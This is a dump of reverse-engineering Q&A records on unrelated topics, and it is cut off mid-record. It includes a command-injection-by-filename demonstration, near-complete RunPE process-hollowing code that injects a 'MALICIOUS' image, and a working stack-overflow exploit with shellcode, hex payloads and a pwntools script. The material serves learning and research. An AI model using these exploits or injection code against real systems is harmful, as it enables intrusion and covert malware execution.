Answer
stringlengths
38
29k
βŒ€
Id
stringlengths
1
5
CreationDate
stringlengths
23
23
Body
stringlengths
55
28.6k
Title
stringlengths
15
145
Tags
stringlengths
3
68
<p>Run the debug server as admin, this should be enough.</p>
26057
2020-10-05T08:53:58.050
<p>I am using remote debugging with IDA. The target and host machine are Windows.<br /> I can run the process on the remote machine and debug it with IDA using remote debugging but I need that the process will run with high privileges.<br /> In IDA I only have the option start the process (<code>F9</code> or the green play button) but it doesn't run it with high privileges.</p> <p>How can I do it?</p> <p>I searched also in the options of the debugger and didn't see such option.</p>
How to run a process with high privileges using remote debugging
|ida|debugging|remote|
<p>There is a ghidra_script that current does this, see <a href="https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/ghidra_scripts/MarkCallOtherPcode.java" rel="nofollow noreferrer">https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/ghidra_scripts/MarkCallOtherPcode.java</a></p> <p>basically:</p> <pre><code>op = getInstructionAt(toAddr(0x1b034)).getPcode()[0] currentProgram.getLanguage().getUserDefinedOpName(op.getInput(0).getOffset())) </code></pre>
26058
2020-10-05T10:50:06.270
<p>Is there a way to access the call string of a CALLOTHER Pcode instruction when iterating over the Pcode in Java? The listing below shows an example of what I mean:</p> <pre><code>048 LAB_0001b034 XREF[1]: 0001b024(j) 0001b034 36 7f ff e6 rbit r7,r6 r7 = CALLOTHER &quot;ReverseBitOrder&quot;, r6 </code></pre> <p>In this example, I'd like to get the string &quot;ReverseBitOrder&quot;. <br/> Unfortunately, there is no hint in the instruction info except for this input object:</p> <pre><code>const:0x3c </code></pre> <p>Which does not translate into the given string and I also cannot click on the string to find a location in memory. I also looked through the API docs of Pcode, Instruction etc., but did not find anything useful.</p>
Accessing Call String of CALLOTHER Pcode Instruction via Java API?
|ghidra|java|api|call|
<p>On GNU/Linux, <code>system</code> passes any arguments to <code>/bin/sh -c &quot;&lt;command&gt;&quot;</code>. Any shell metacharacters (e.g. <code>&amp;</code>, <code>|</code>, <code>`</code>, <code>$</code>, <code>;</code> etc.) in the command will be interpreted. So, commands can be run using <code>`command`</code> or <code>$(command)</code> to use a subshell, or with other logic.</p> <p>If a file has those characters, commands could be run:</p> <pre><code>$ ls itworks $ touch '$(touch itworks)' $ ./myscript.py '$(touch itworks)' $ ls itworks itworks </code></pre> <p>Since the file exists, it will be passed to <code>system</code>, and any nested commands executed. You may be limited in what commands and arguments can be passed, since <code>/</code> cannot be used in the filename.</p>
26061
2020-10-05T14:09:34.620
<p>My question is theoretical, and not bound to python - but for the sake of simplicity, I'll use Python code snippet.</p> <p>Let's assume I have the following code:</p> <pre><code>import os import sys if os.path.exist(sys.argv[1]): os.system(f&quot;echo {sys.argv[1]}&quot;) </code></pre> <p>Is there a way to do a command injection attack in the scenario when the unsanitized input is a path to a valid file?</p>
Is command injection using a valid file path possible?
|python|injection|command-line|
<p>SOLVED:</p> <p>I must pass the address of the buffer not the value inside that buffer in WriteProcessMemmory [Call by reference]</p> <p>Modified:</p> <pre><code>WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx-&gt;Ebx + 8), (LPVOID)(&amp;ntHeader-&gt;OptionalHeader.ImageBase), 4, 0) </code></pre>
26078
2020-10-07T06:55:55.917
<p>I'm trying to use RunPE technique (For learning).</p> <p>First, I tried it on Windows XP(32-bit) and no error occurs but, the injected code for(HelloWorld) didn't run.</p> <p>Then, I tried to use it on Windows 7 and 10 (64-bit) and get this error[0xc00000005] when the thread resumed. Why I get this error and why the injected code didn't run on the XP machine?</p> <p>I tried also to unmap the imagebase(0x00400000) but I had the same problem.</p> <p>my code:</p> <pre><code>int runPe(void* image) { IMAGE_DOS_HEADER* dosHeader; IMAGE_NT_HEADERS* ntHeader; IMAGE_SECTION_HEADER* sectionHeader; CONTEXT* ctx; PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; int i; DWORD* ImageBase = NULL; void* pImage = NULL; char currentpath[1024]; GetModuleFileNameA(0, currentpath, 1024); //path to the current exe //Identifying the MALICIOUS IMAGE HEADERS dosHeader = (PIMAGE_DOS_HEADER)(image); ntHeader = (PIMAGE_NT_HEADERS)((DWORD)image + dosHeader-&gt;e_lfanew); //Checks if this is a PE FILE if (ntHeader-&gt;Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&amp;pinfo, sizeof(pinfo)); ZeroMemory(&amp;sinfo, sizeof(sinfo)); if (CreateProcessA(currentpath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;sinfo, &amp;pinfo)) { printf(&quot;[*] Suspended process is created\n&quot;); Sleep(600); //Allocate memory for the context of suspended process ctx = (LPCONTEXT)(VirtualAlloc(NULL, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE)); if (ctx) { ctx-&gt;ContextFlags = CONTEXT_FULL; printf(&quot;[*] Context is allocated successfully\n&quot;); Sleep(600); //Get the thread context if (GetThreadContext(pinfo.hThread, (LPCONTEXT)ctx)) { printf(&quot;[*] Allocating MALICIOUS image headers into the suspended process\n&quot;); Sleep(600); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(ctx-&gt;Ebx + 8), (LPVOID)(&amp;ImageBase), 4, 0); pImage = VirtualAllocEx(pinfo.hProcess, NULL, ntHeader-&gt;OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pImage) { printf(&quot;[*] Allocating memory for MALICIOUS image headers into the IMAGE_BASE\n&quot;); Sleep(600); //Writing the image intor the process address space if (WriteProcessMemory(pinfo.hProcess, (LPVOID)pImage, image, ntHeader-&gt;OptionalHeader.SizeOfHeaders, NULL)) { printf(&quot;[*] Writing memory for MALICIOUS image headers into the IMAGE_BASE\n&quot;); Sleep(600); //sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader-&gt;e_lfanew + sizeof(IMAGE_NT_HEADERS)); for (i = 0; i &lt; ntHeader-&gt;FileHeader.NumberOfSections; i++) { sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader-&gt;e_lfanew + 248 + (i * sizeof(IMAGE_SECTION_HEADER))); if (sectionHeader-&gt;SizeOfRawData == 00000000) continue; if (WriteProcessMemory(pinfo.hProcess, (LPVOID)((DWORD)(pImage) + sectionHeader-&gt;VirtualAddress), (LPVOID)((DWORD)image + sectionHeader-&gt;PointerToRawData), sectionHeader-&gt;SizeOfRawData, 0)) { printf(&quot;[*] Allocating memory for Section %d at %X\n&quot;, i, (LPVOID)((DWORD)pImage + sectionHeader-&gt;VirtualAddress)); Sleep(600); } else { printf(&quot;ERROR: Writing section (%d) into memory failed\n&quot;, i); printf(&quot;Error Code: %d\n&quot;, GetLastError()); return -1; } } //Change the imageBase address from the suspened process into the MALICIOUS if (WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx-&gt;Ebx + 8), (LPVOID)(ntHeader-&gt;OptionalHeader.ImageBase), 4, 0)) { printf(&quot;[*] Image base address is changed to MALICIOUS\n&quot;); Sleep(600); //Now we will move the address of entrypoint to the MALCIOUS image // At EAX register ctx-&gt;Eax = (DWORD)pImage + ntHeader-&gt;OptionalHeader.AddressOfEntryPoint; printf(&quot;[*] AddressOfEntryPoint is changed to MALICIOUS\n&quot;); Sleep(600); //Set Thread Context and resume it SetThreadContext(pinfo.hProcess, (LPCONTEXT)ctx); ResumeThread(pinfo.hThread); printf(&quot;[*] Thread is resumed\n&quot;); } else { printf(&quot;ERROR: Change the imageBase address from the suspened process into the MALICIOUS failed\n&quot;); printf(&quot;Error Code: %d\n&quot;, GetLastError()); return -1; } } else { printf(&quot;ERROR: Writing the image into the process address space failed\n&quot;); printf(&quot;Error Code: %d\n&quot;, GetLastError()); return -1; } } else { printf(&quot;ERROR: Allocating memory for MALICIOUS image headers into the IMAGE_BASE failed\n&quot;); printf(&quot;Error Code: %d\n&quot;, GetLastError()); return -1; } } else { printf(&quot;ERROR: GetThreadContext failed\n&quot;); printf(&quot;Error Code: %d\n&quot;, GetLastError()); return -1; } } else { printf(&quot;ERROR: Context allocation failed\n&quot;); printf(&quot;Error Code: %d\n&quot;, GetLastError()); return -1; } } return 0; } else { printf(&quot;ERROR: Invalid nt SIGNATURE\n&quot;); printf(&quot;Error Code: %d\n&quot;, GetLastError()); return -1; } </code></pre> <p>}</p>
Why I get 0xc00000005?
|c|pe|
<p>I'm working on some tooling for automatic reverse engineering.</p> <p>Having messages of varying length makes it much easier to determine which fields are related to overall message lengths. It also makes it much easier to identify where the 'header' portion is, as it will have a consistent format and precede the variable length portion.</p> <p>The more data and the more diverse that data is, the easier it is to infer a format. Many times I've seen datasets generated by holding everything constant, and altering on a single value in memory. Those are easier for humans to spot checksums in, but harder for finding general field boundaries.</p> <p>Here's my best guess at the format given the data. Looks like it's big endian, with byte 3 looking like a tag. |'s indicate places where there's a heuristic field boundary.</p> <pre><code> TTTTTTTT ?? FFFFFFFF | ???? | ?????? | ?????? TTTTTTTT | ?? -- 00187F4C 02 0614414E | 0030 | 030767 | 000D23 00000120 | 01 00187F4E 00 0669414E | 0031 | 030767 | 000D23 00000123 | 01 00180014 03 0E3B004A | 0028 | 030009 | 000D23 00000126 | 01 0018002B 01 10694042 | 001B | 030778 | 000D23 0000011C | 01 00187F62 03 21080052 | 0012 | 03000A | 000D23 00000116 | 01 0018000B 00 25444039 | 0028 | 030779 | 000D23 0000012E | 02 00180016 01 345C0042 | 0018 | 030008 | 000D23 00000124 | 01 0018002B 01 3923404A | 0010 | 030777 | 000D23 0000011E | 01 -- 0 T BE TIMESTAMP 32 1 ? UNKNOWN TYPE 1 BYTE(S) 2 F BE FLOAT 3 ? UNKNOWN TYPE 2 BYTE(S) 4 ? UNKNOWN TYPE 3 BYTE(S) 5 ? UNKNOWN TYPE 3 BYTE(S) 6 T BE TIMESTAMP 32 7 ? UNKNOWN TYPE 1 BYTE(S) </code></pre> <p>I think there's some sort of sequence in section 4 (likely it's just the last 2 bytes).</p>
26087
2020-10-08T11:50:04.163
<p>I have files with binary data, the format description of them is very vague and incomplete. E.g., it states that records start with header byte, like (hex) FA, followed by datetime (accurate down to milliseconds) and other data fields, but no indication of field length, least significant bit (LSB) value, or even the byte endianness of record fields. Overall, the files should represent some sort of message log, and I need to decode them properly into meaningful data.</p> <p>Given the vagueness, incompleteness and possible errors (see below) in format description, my only hope to achieve the goal is a table that I have. It's describing roughly what's in the binary files. E.g., I know that some field from a specific file must decode to a value near 2700, another field must be -8.77, etc. There's at most one record statement like that, per file.</p> <p>I've first read <a href="https://reverseengineering.stackexchange.com/questions/1331/automated-tools-for-file-format-reverse-engineering">this question</a>, but I'm not sure which of those tools can help in my situation. So I've translated my input binary into text files, simply displaying the initial data in hex representation, all in one big string. Splitting it by header bytes yielded some weird picture where each record seemed to have different length in bytes. Further investigation has shown that there are more types of headers (I call them sub-headers) than stated in format description. Also the first 1-byte field seems to indicate how many internal 22-byte blocks of data a record additionally has. This first field is out of place - it should've been datetime, judging by the format description. So, it's not that accurate/trustworthy, but at least it pushed me (seemingly) in the right direction.</p> <p>I'm totally new to reverse engineering, so my questions may be rather bad, but please bear with me:</p> <ol> <li><p>Is my task even possible to do, given the described situation?</p> </li> <li><p>If it is, how should I try and find a decoding method? What tools could help find correct field length, LSB and semantic (i.e., which data field is which, as I don't trust that format description too much anymore)?</p> </li> </ol> <h2>EDIT: Additional information on findings</h2> <p>Here are some examples of internal 22-byte blocks. One of the records has 7 blocks:</p> <pre><code>0018001E030825411C004303076D000D230000013802 0018002B020B56010C001C030011000D22065D011601 0018003103166A0052001803000A000D22065D011601 00187F7301197440390017030779000D22065D011701 0018002B02230540390019030779000D22065D011E01 00187F7E032578004A0024030009000D22065D012B01 00180038012B2501040028030010000D230000013101 </code></pre> <p>Prefixed by 'FE070F600710', where '07' says that there are 7 of them, and '0F600710' seems to be repeated in such prefixes throughout the file. Example of a different, 8-blocks record:</p> <pre><code>00187F4C020614414E0030030767000D230000012001 00187F4E000669414E0031030767000D230000012301 00180014030E3B004A0028030009000D230000012601 0018002B0110694042001B030778000D230000011C01 00187F620321080052001203000A000D230000011601 0018000B00254440390028030779000D230000012E02 0018001601345C00420018030008000D230000012401 0018002B013923404A0010030777000D230000011E01 </code></pre> <p>As we can see, they all start with '0018', so that may be another sub-header, not data. That leaves us with exactly five 4-byte floats, or two 8-byte doubles and extra 4 bytes.</p> <p>Some columns of '00's can be seen, '0D' seems to also repeat in a column pattern. There's a '03' that is also always present. If we think of them as additional delimiters, fields of 7, 1, 2, and 6 bytes can be guessed, which mostly isn't like some standard single- or double-precision floats. That's why in the initial statement I thought real numbers were coded as integers, with some unknown LSB.</p>
Reverse engineering a partially known binary format
|file-format|tools|encodings|binary-diagnosis|
<p><a href="https://www.st.com/content/st_com/en/products/memories/serial-eeprom/standard-serial-eeprom/standard-microwire-eeprom/m93c46-w.html" rel="nofollow noreferrer">https://www.st.com/content/st_com/en/products/memories/serial-eeprom/standard-serial-eeprom/standard-microwire-eeprom/m93c46-w.html</a><br> PS:Sorry Robert, I do not yet have the right to comment</p>
26104
2020-10-12T10:24:32.657
<p><a href="https://i.stack.imgur.com/4gfqN.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4gfqN.jpg" alt="Unknown chip" /></a></p> <p>Tried all kinds of searches (including <a href="https://www.alldatasheet.com/" rel="nofollow noreferrer">https://www.alldatasheet.com/</a> by marking), no result. Can't even identify the manufacturer logo (PI-like symbol).</p>
Trying to identify this chip
|integrated-circuit|
<p>The answer to the specific question that you asked is: not directly through the UI, but it's possible with a plugin. <a href="https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_sample18_8cpp-example.shtml" rel="nofollow noreferrer">Sample plugin #18 in the Hex-Rays SDK</a>. The comment at the top of the plugin says:</p> <pre><code>* It shows how to specify a register value at a desired location. * Such a functionality may be useful when the code to decompile is * obfuscated and uses opaque predicates. </code></pre> <p>However, there's a better answer to your question. The assembly code that you displayed is commonly generated by MSVC when accessing global arrays or data structures on x64. Basically, one register will be set to the base address of the containing module (<code>rax</code> in your snippet above), and then array accesses will be encoded as <code>[rax+r64+RVA_of_array]</code>, where <code>r64</code> is some register being used for indexing purposes.</p> <p>Hex-Rays trips over snippets like this one, but there is a way to fix it: namely, by turning the numeric offset in the memory expression into an RVA. As far as I know, there's currently no way to do that through the GUI (EDIT: in the comments below, Igor Skochinsky informs us how to do this through the GUI), but you can do it through a small IDAPython script.</p> <pre><code>def make_rva(ea, n): idaapi.op_offset(ea, n, ida_nalt.REFINFO_RVAOFF | ida_nalt.REF_OFF64, idaapi.BADADDR, idaapi.get_imagebase(), 0) </code></pre> <p>Now, you can run the <code>make_rva</code> function by providing the address of the instruction with the memory expression as the first argument. The second argument is the operand number: 0 for left-hand side, 1 for right-hand side. Here's an example from a database I have open. Before:</p> <pre><code>0000000180019AEC cmp byte ptr [rcx+rdx+138C84h], 0 </code></pre> <p>After executing <code>make_rva(0x0000000180019AEC,0)</code>:</p> <pre><code>0000000180019AEC cmp rva stru_180138C80.sectors_per_cluster[rcx+rdx], 0 </code></pre> <p>I recently released a database of a malware sample that I had analyzed exhaustively, where I used these tricks as part of the analysis. <a href="https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4" rel="nofollow noreferrer">You can get the database here</a>, and then jump to address <code>0000000180014607</code> to check out the effects.</p> <p>EDIT, 08/24/2021: I reported the issue discussed above to Hex-Rays, who fixed it as of 7.6.</p>
26118
2020-10-15T18:56:49.063
<p>I'm currently working on a binary that has encrypted strings, using IDA 7.0. The encrypted data is copied to another location in memory, which is then decrypted. I have already decrypted the strings in-place, but due to the way the strings are accessed the decompiler is having trouble resolving them.</p> <p>This is an example of ASM that accesses a decrypted string:</p> <pre><code>mov rcx, cs:StringTableOffset lea rax, cs:180000000h lea rcx, [rcx+rax+130A4h] call cs:GetModuleHandleA </code></pre> <p>For the purpose of reversing, <code>StringTableOffset</code> can be considered 0, so the final <code>lea</code> instruction effectively just moves the value <code>0x1800130A4</code> into <code>rcx</code>. The decompiler doesn't know that, though, and shows pointer arithmetic instead.</p> <p><code>|| ((v11 = GetModuleHandleA((LPCSTR)(StringTableOffset + 0x1800130A4i64))</code></p> <p>Is there any way to signal to the decompiler that the value of <code>rcx</code> (the argument to GetModuleHandleA) is known, so that it can display the defined string?</p>
How to inform Hex-Rays decompiler (7.0) of known register values?
|ida|decompilation|
<p>Generally speaking, this is not possible with any reverse engineering tool. If the programmer created custom <code>#define</code> statements to associate numbers with symbolic names, this information will be destroyed by the compiler very early into the compilation process, long before the binary is ultimately created. Local variable names are also not preserved in the final binary, unless the binary contains debug information (or you have external debug information that you can apply to the binary). However, if this were the case, IDA would have already applied the information, and you would already see the proper names.</p> <p>TL;DR compilation destroys all symbolic names, and generally speaking, they cannot be recovered without debug information.</p>
26119
2020-10-15T23:53:17.190
<p>I'm trying to search with IDA pro constants of type &quot;#define SIZE 100&quot; and normal local variables from a gcc-compiled binary file. I know there are a lot of open threads on the subject but I can't quite figure it out. For example, this <a href="https://reverseengineering.stackexchange.com/questions/14043/stack-variable-information-removed-in-ida-pro-free-version">tutorial</a> is very close to what I want, but I don't understand how I can display them graphically in IDA pro. I'm new at this, thanks.</p>
Find out the name of constants and var in IDA pro
|ida|stack-variables|local-variables|
<p>to search String you cant be using disassemble-all</p> <pre><code>look at the bytes in both commands if you disassemble how can you find the string objdump -s sample.exe |grep -i sample sample.exe: file format pei-i386 404040 00000000 53616d70 6c652100 20634000 ....Sample!. c@. objdump -M intel --disassemble-all sample.exe --start-address=0x404044 --stop-address=0x40404f sample.exe: file format pei-i386 Disassembly of section .rdata: 00404044 &lt;.rdata&gt;: 404044: 53 push ebx 404045: 61 popa 404046: 6d ins DWORD PTR es:[edi],dx 404047: 70 6c jo 4040b5 &lt;.rdata+0x45&gt; 404049: 65 21 00 and DWORD PTR gs:[eax],eax 0040404c &lt;_GS_ExceptionPointers&gt;: 40404c: 20 63 40 and BYTE PTR [ebx+0x40],ah </code></pre>
26129
2020-10-17T07:51:39.053
<p>I've wrote a simple program to print something on the screen as below:</p> <pre><code>ebra@him:/tmp/tuts$ cat sample.c #include &lt;stdio.h&gt; int main() { puts(&quot;Sample!&quot;); } ebra@him:/tmp/tuts$ gcc sample.c -o sample ebra@him:/tmp/tuts$ ebra@him:/tmp/tuts$ ./sample Sample! </code></pre> <p>And then I disassmbled the executable to see what is going on under the hood:</p> <pre><code>ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep &quot;&lt;main&gt;:&quot; -A 10 0000000000001149 &lt;main&gt;: 1149: f3 0f 1e fa endbr64 114d: 55 push rbp 114e: 48 89 e5 mov rbp,rsp 1151: 48 8d 3d ac 0e 00 00 lea rdi,[rip+0xeac] # 2004 &lt;_IO_stdin_used+0x4&gt; 1158: e8 f3 fe ff ff call 1050 &lt;puts@plt&gt; 115d: b8 00 00 00 00 mov eax,0x0 1162: 5d pop rbp 1163: c3 ret 1164: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 116b: 00 00 00 </code></pre> <p>As you see above, right before calling <code>puts</code> function, we have <code>lea rdi,[rip+0xeac]</code>. I assume that <code>[rip+0xeac]</code> is the address of the hardcoded text (i.e. &quot;Sample!&quot;).</p> <p>Since <code>rip</code> is equal to <code>0x1151</code> while exucuting the <code>mov</code> line, the value of <code>[rip + 0xeac]</code> will be <code>0x1151 + 0xeac = 0x1ffd</code>.</p> <p>But I can't find this address in the disassembled program:</p> <pre><code>ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i 1ffd ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i &quot;Sample!&quot; ebra@him:/tmp/tuts$ </code></pre> <p>Why?</p>
Why can't find hardcoded string in the disassembled program?
|disassembly|c|
<p>If it's challenging or not depends entirely on what you do to make it challenging and the skill level of the attacker. For some it's already enough if you make the decompiler in some old leaked IDA version fail, others read the pure assembly and know exactly what's going on not needing the decompiler at all.</p> <p>The best way to prevent tampering is having license checks at several places that all have to be found in order to get it to work. Sign individual functions, check the signature somewhere else, have that signed aswell. Obfuscate RSA Keys or even better all strings if you decide to use them. Try to avoid a whole bunch of xor instructions at one place (if I see those I know that some crypto is going on there). Also you can include useless/bad assembler instructions that never get executed to confuse the Disassembler, also dead code that seems to be a license check might be a good way to keep someone busy (although a debugger will quickly show them it's never executed. Also there are obfuscators out there you can buy, they generally have even more experience in anti debugging and decompiling techniques.</p> <p>Choose whatever framework you're confident with, don't let license/intellectual property protection be an excuse for bad coding style because you're still inexperienced, especially if it's software you're planning to sell.</p>
26131
2020-10-17T09:11:50.613
<p>I'm planning on writing a windows application, used everywhere in my home country. I will code it in C++, but my question is which would you consider better to use?</p> <ul> <li>win32api</li> <li>Visual C++</li> <li>MFC</li> </ul> <p>I'm asking this because I don't know if you heard about what will happen to Windows 10 and how it will change after the last updates, that's point #1, second I just want it to become a little bit harder to decompile, I know assembly and I've reverse-engineered a lot of programs over the last 5 years, but I just want something harder for that hacker in his father's basement, I don't want it to get cracked or reverse engineered in a day or two, but I know that at the end someone will do it. Which framework (or should I say compiler with some extra features) would make it a little bit challenging?</p> <p>I'm fluent in all the languages mentioned above.</p> <p>I know that this Community is made for reverse engineering and so just focus on this part of my question, thank you for your time.</p>
which is harder to reverse engineer?
|c++|winapi|mfc|
<p>If you change your process startup to</p> <pre><code>p = process([&quot;strace&quot;, &quot;-o&quot;, &quot;strace.out&quot;, &quot;./bof&quot;]) </code></pre> <p>and check the resulting <code>strace.out</code> file, you will see:</p> <pre><code>close(0) = 0 open(&quot;/dev/tty&quot;, O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|FASYNC) = 0 execve(&quot;/bin/sh&quot;, NULL, NULL) = 0 ... read(0, 0x55ae7a6d5aa0, 8192) = -1 EIO (Input/output error) </code></pre> <p>So this has to do with shellcode reopening <code>stdin</code> as <code>/dev/tty</code>.</p> <p>Let's check <a href="https://docs.pwntools.com/en/stable/tubes/processes.html#pwnlib.tubes.process.process" rel="nofollow noreferrer">the doc</a>:</p> <pre><code>stdin (int) – File object or file descriptor number to use for stdin. By default, a pipe is used. A pty can be used instead by setting this to PTY. This will cause programs to behave in an interactive manner (e.g.., python will show a &gt;&gt;&gt; prompt). If the application reads from /dev/tty directly, use a pty. </code></pre> <p>and do as it says:</p> <pre><code>p = process(&quot;./bof&quot;, stdin=PTY) </code></pre> <p>Voila!</p> <pre><code>[*] Switching to interactive mode Type in your name: $ $ $ id -u 1000 </code></pre>
26134
2020-10-18T16:19:09.447
<p>Recently, I've been trying to learn how to use the pwntools library. I am trying to exploit the following program using pwntools:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main(void) { char buf[256]; printf(&quot;Buffer is at %p.\n&quot;, buf); printf(&quot;Type in your name: &quot;); fgets(buf, 1000, stdin); printf(&quot;Hello %s&quot;, buf); return 0; } </code></pre> <p>It has been compiled using <code>gcc -o bof bof.c -fno-stack-protector -z execstack</code>. I am able to exploit the vulnerability if I disable ASLR. My exploit just has shellcode that executes /bin/sh, some useless NOPs, and finally the location of my shellcode on the stack.</p> <pre><code>$ python -c &quot;import sys; sys.stdout.buffer.write(b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05' + b'\x90' * 186 + b'\x50\xdd\xff\xff\xff\x7f')&quot; | ./bof Buffer is at 0x7fffffffdd50. $ echo hello world hello world $ exit sh: 2: Cannot set tty process group (No such process) </code></pre> <p>Yet, when I try doing the exact same thing within pwntools, I get the following:</p> <pre><code>$ python bof.py [+] Starting local process './bof': pid 10967 Received: b'Buffer is at 0x7fffffffdd40.\n' Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00' Using payload: b&quot;H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00&quot; [*] Switching to interactive mode $ $ $ [*] Got EOF while sending in interactive </code></pre> <p>This is the code inside of bof.py:</p> <pre><code>from pwn import * # Start the process context.update(arch=&quot;i386&quot;, os=&quot;linux&quot;) p = process(&quot;./bof&quot;) received = str(p.recvline()) print(&quot;Received: &quot; + received) # Get the address of the buffer buffer_addr_str = received.split()[3:][0][:-4] buffer_addr = p64(int(buffer_addr_str, 16)) print(&quot;Using address: &quot; + str(buffer_addr)) # Generate the payload payload = b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05' nops = b'\x90' * (264 - len(payload)) print(&quot;Using payload:&quot;) print(payload+nops+buffer_addr) print() # Trigger the buffer overflow p.send(payload + nops + buffer_addr) p.interactive() </code></pre> <p>This is the shellcode that I'm using:</p> <pre><code>section .text global _start _start: ; Syscall to close stdin xor rax, rax xor rdi, rdi ; Zero represents stdin mov al, 3 ; close(0) syscall ; open(&quot;/dev/tty&quot;, O_RDWR | ...) push rax ; Push a NULL byte onto the stack mov rdi, 0x7974742f7665642f ; Move &quot;/dev/tty&quot; (written backwards) into rdi. push rdi ; Push the string &quot;/dev/tty&quot; onto the stack. push rsp ; Push a pointer to the string onto the stack. pop rdi ; rdi now has a pointer to the string &quot;/dev/tty&quot; ; This is equivalent to doing &quot;mov rdi, rsp&quot; push rax ; Push a NULL byte onto the stack pop rsi ; Make rsi NULL ; This is equivalent to doing &quot;mov rsi, 0&quot; mov si, 0x2702 ; Flag for O_RDWR mov al, 0x2 ; Syscall for sys_open syscall ; Syscall for execve xor rax, rax mov al, 59 ; Push a NULL byte onto the stack xor rbx, rbx push rbx ; Push /bin/sh onto the stack and get a pointer to it in rdi mov rbx, 0x68732f6e ; Move &quot;n/sh&quot; into rbx (written backwards). shl rbx, 16 ; Make 2 extra bytes of room in rbx mov bx, 0x6962 ; Move &quot;bi&quot; into rbx. Rbx is now equal to &quot;bin/sh&quot; written backwards. shl rbx, 16 ; Make 2 extra bytes of room in rbx mov bh, 0x2f ; Move &quot;/&quot; into rbx. Rbx is now equal to &quot;/bin/sh&quot; written backwards. push rbx ; Move the string &quot;/bin/sh&quot; onto the stack mov rdi, rsp ; Get a pointer to the string &quot;/bin/sh&quot; in rdi add rdi, 1 ; Add one to rdi (because there is a NULL byte at the beginning) ; Make these values NULL xor rsi, rsi xor rdx, rdx ; Do the syscall syscall </code></pre> <p>I don't understand why calling p.interactive() doesn't spawn a shell. I am sending the same kind of payload that I would be sending if this was being done outside of pwntools. Why am I not getting a shell?</p> <p>Edit: This is what I see when I run the script with DEBUG:</p> <pre><code>$ python bof.py DEBUG [+] Starting local process './bof' argv=[b'./bof'] env={b'SHELL': b'/bin/bash', b'SESSION_MANAGER': b'local/N:@/tmp/.ICE-unix/3778,unix/N:/tmp/.ICE-unix/3778', b'QT_ACCESSIBILITY': b'1', b'COLORTERM': b'truecolor', b'XDG_CONFIG_DIRS': b'/etc/xdg/xdg-ubuntu:/etc/xdg', b'XDG_MENU_PREFIX': b'gnome-', b'GNOME_DESKTOP_SESSION_ID': b'this-is-deprecated', b'LANGUAGE': b'en_US:en', b'MANDATORY_PATH': b'/usr/share/gconf/ubuntu.mandatory.path', b'LC_ADDRESS': b'en_US.UTF-8', b'GNOME_SHELL_SESSION_MODE': b'ubuntu', b'LC_NAME': b'en_US.UTF-8', b'SSH_AUTH_SOCK': b'/run/user/1000/keyring/ssh', b'XMODIFIERS': b'@im=ibus', b'DESKTOP_SESSION': b'ubuntu', b'LC_MONETARY': 